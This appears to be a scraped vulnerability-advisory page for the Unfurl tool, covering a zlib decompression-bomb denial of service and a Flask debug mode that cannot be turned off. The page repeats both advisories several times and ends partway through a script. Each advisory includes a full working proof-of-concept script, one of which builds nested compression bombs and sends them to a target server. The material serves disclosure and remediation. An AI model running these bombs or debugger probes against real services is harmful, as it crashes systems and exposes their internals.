The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 18, 2025

20241121 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Nov 21, 2024

20241120 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
